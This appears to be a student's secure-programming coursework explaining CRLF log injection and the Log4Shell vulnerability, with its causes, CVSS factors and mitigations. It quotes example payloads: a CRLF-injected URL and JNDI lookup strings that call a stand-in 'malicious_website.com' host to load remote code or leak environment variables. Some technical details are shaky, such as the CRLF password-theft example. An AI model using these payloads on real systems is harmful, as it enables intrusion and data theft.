Secure Programming Coursework

Jure Sternad (s2450797)

November 25, 2022

1 Log4Shell and Insecure Input

1. The following code snippot contains a vulnerability. Please describe a) the base CWE number for this vulnerability and b) how this vulnerability may be exploited. (3 marks)

Answer

CWE-117: Improper Output Neutralization for Logs (logs version of **CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')**)

Since the input is not correctly validated and the output is not correctly sanitized, an attacker can inject CRLF characters into the request, which enable him to forge fake log entries or inject malicious content into log files. Combination of Carriage Return and Line Feed - CRLF moves the cursor to the beginning of the following line. Since a line breaks separate log events, an attacker can inject malicious code and commands into the log, allowing him to perform a restricted and potentially harmful action. An attacker can also prevent his suspicion by injecting false information into the log file. This vulnerability can lead to the exploitation of several attacks, including XSS and session hijacking.

In this specific case, he could get the `PASSWORD` from the `CONFIG` data by changing the response from the application with something simmilar to:`/submit.ph?coursework=secure_programming&student=attacker &score=99&x0D&x0Aformat_response(CONFIG[PASSWORD])`

2. Log4j is an open-source logging framework used by developers to log data from their applications. In 2021, Chen Zhaojun uncovered Log4Shell (CVE-2021-44228) a zero-day vulnerability in Log4j. Exploitation of Log4Shell relies on untrusted user input as well as insecure deserialisation. Study the CVE entry for Log4shell and, in your own words, describe the features of Log4j that caused this vulnerability as well as the attack itself. (3 marks)

Answer

Two main reasons cause the Log4Shell. The first is the use of string substitutions on expressions which are then processed recursively, and the second is the feature which allows making JNDI requests from outside the software. The problem occurs where data that is logged comes from an untrusted source, such as the user's input. Since the JNDI can freely execute LDAP requests which can retrieve URLs as object data, that potentially allows a malicious user to force the server to download arbitrary code from that URL and run it with the same privileges as the system running log4j. An attacker can pass a string such as `${jndi:ldap://malicious_website.com/dangerous_file}` into the field which is likely to be logged. When the log4j makes the log, it gives it to JNDI, which requests information from the LDAP server. The response contains the instructions - a path to the remote file of Java code, which is then injected and executed by the server. An attacker can also open a reverse shell and insert an additional code which can help him to get control of the system.

Another thing an attacker can do is retrieve data from the server, such as environment variables and the version of Java. That is possible because the string expressions are processed recursively, meaning an attacker could pass a string such as `${jndi:ldap://malicious_website.com/${printenv}}` and the environment variables would be leaked into the attacker's server. This is more convenient for the attacker than injecting code since it does not depend on the code being executed.

Furthermore, the fact that JNDI can look up data elsewhere, such as DNS, RMI and IIOP, widens the attack surface to stealing power for cryptocurrency mining, denial of service attacks, and ransomware attacks.

3. The Log4shell vulnerability was introduced in in 2013, after a user requested that additional functionality be added to Log4j. Discuss the (potentially) competing interests of developers and security engineers when developing software (2 marks)

Answer

Developers are usually focused on speed, functionality, automation, and reliability, while security engineers are concerned with the security of the code. When the security engineers revise the code, the developers are forced to rebuild it. That puts much pressure on the developers; however, they usually experience even more pressure from the management team. The management team wants the developers to produce software which is convenient for the user to use in a fixed time. Developers often try to mitigate the time constraint using open-source libraries. However, that is outside the interest of security engineers since these libraries must be additionally examined and taken responsibility for. Time differences before and after a code version is examined can also be a drawback for the developers since they have probably moved further in the process. Another distinction can be the understanding of the code. Developers need to understand every aspect of the software, but in contrast, security engineers do not always fully understand the code of every vulnerability the test shows. That can result in the security engineer being unable to give the developer valuable instructions on fixing the issue.

4. Log4shell was given a CVSS rating of 10, the highest score possible. What factors contributed to this high score? Make explicit reference to the CIA triad in your answer as well as the potential impact of an attack.

Answer

CVSS rating is based on eight variables. The attack vector of log4j got the highest score since it allows an attacker to exploit the vulnerability and get remote access just by a network connection, regardless of location. The attack complexity also got a high score since the attack does not require any advanced hacking skills and can be executed with a single command. Privileges Required and User Interaction also contributed to the high score, as the log4shell attack does not require any access to settings or the files and can be done without user interaction. The scope was also a significant factor since an attacker can gain access to files and gain control that exceedes the privileges of the vulnerable component.

As for the impact, confidentiality was utterly lost. Log4shell allowed an attacker to access all files of the system, including passwords and encrypted keys. Since the attacker could also modify and configure any file through a remotely injected code, integrity was also lost. As the attacker was able to gain complete control of the system, he could deny any access to the victim, thoroughly preventing the availability.

“As soon as I heard about Log4shell, I immediately checked if anyone has exploited it on my system. Using grep, I searched all of my logs for the Log4shell exploit string. Thankfully, I didn’t find anything, so that means my system is secure and wasn’t attacked.”

5. In your opinion, is Mr. Super Secure’s assessment accurate? Support your opinion with at least 2 points.

In addition, describe two possible mitigations for Log4shell. (2 marks)

Answer

Mr Super Secure’s claim is not accurate. Log4j is used by many different applications, which rely on many dependencies that can be packed in different formats, such as JARs, TARs, WARs... Since these dependencies can contain other dependencies, logs made can be hidden in many deeper layers that need to be scanned. Another problem are the indirect dependencies in which Log4j is pulled as a transitive dependency and is not explicitly defined, making the vulnerability even harder to detect.

Moreover, a system can be vulnerable even if it does not use Log4j directly but uses trusted third-party APIs exposed to the vulnerability. If an attacker gains access to an application or a system vulnerable to Log4shell, he can also gain access to another system through the API.

First, intelligent mitigation to do before the fix is released is to remove JNDI message lookups and disable the log4j library. Since the source of the vulnerability lies in these lookups, disabling them provides a temporary solution, although it does not entirely prevent an attack. The second general mitigation, as with any vulnerability, is to upgrade the Log4j as soon as the new patch is released. An eye should also be kept for any releases that come after since new vulnerabilities and exploits can be found.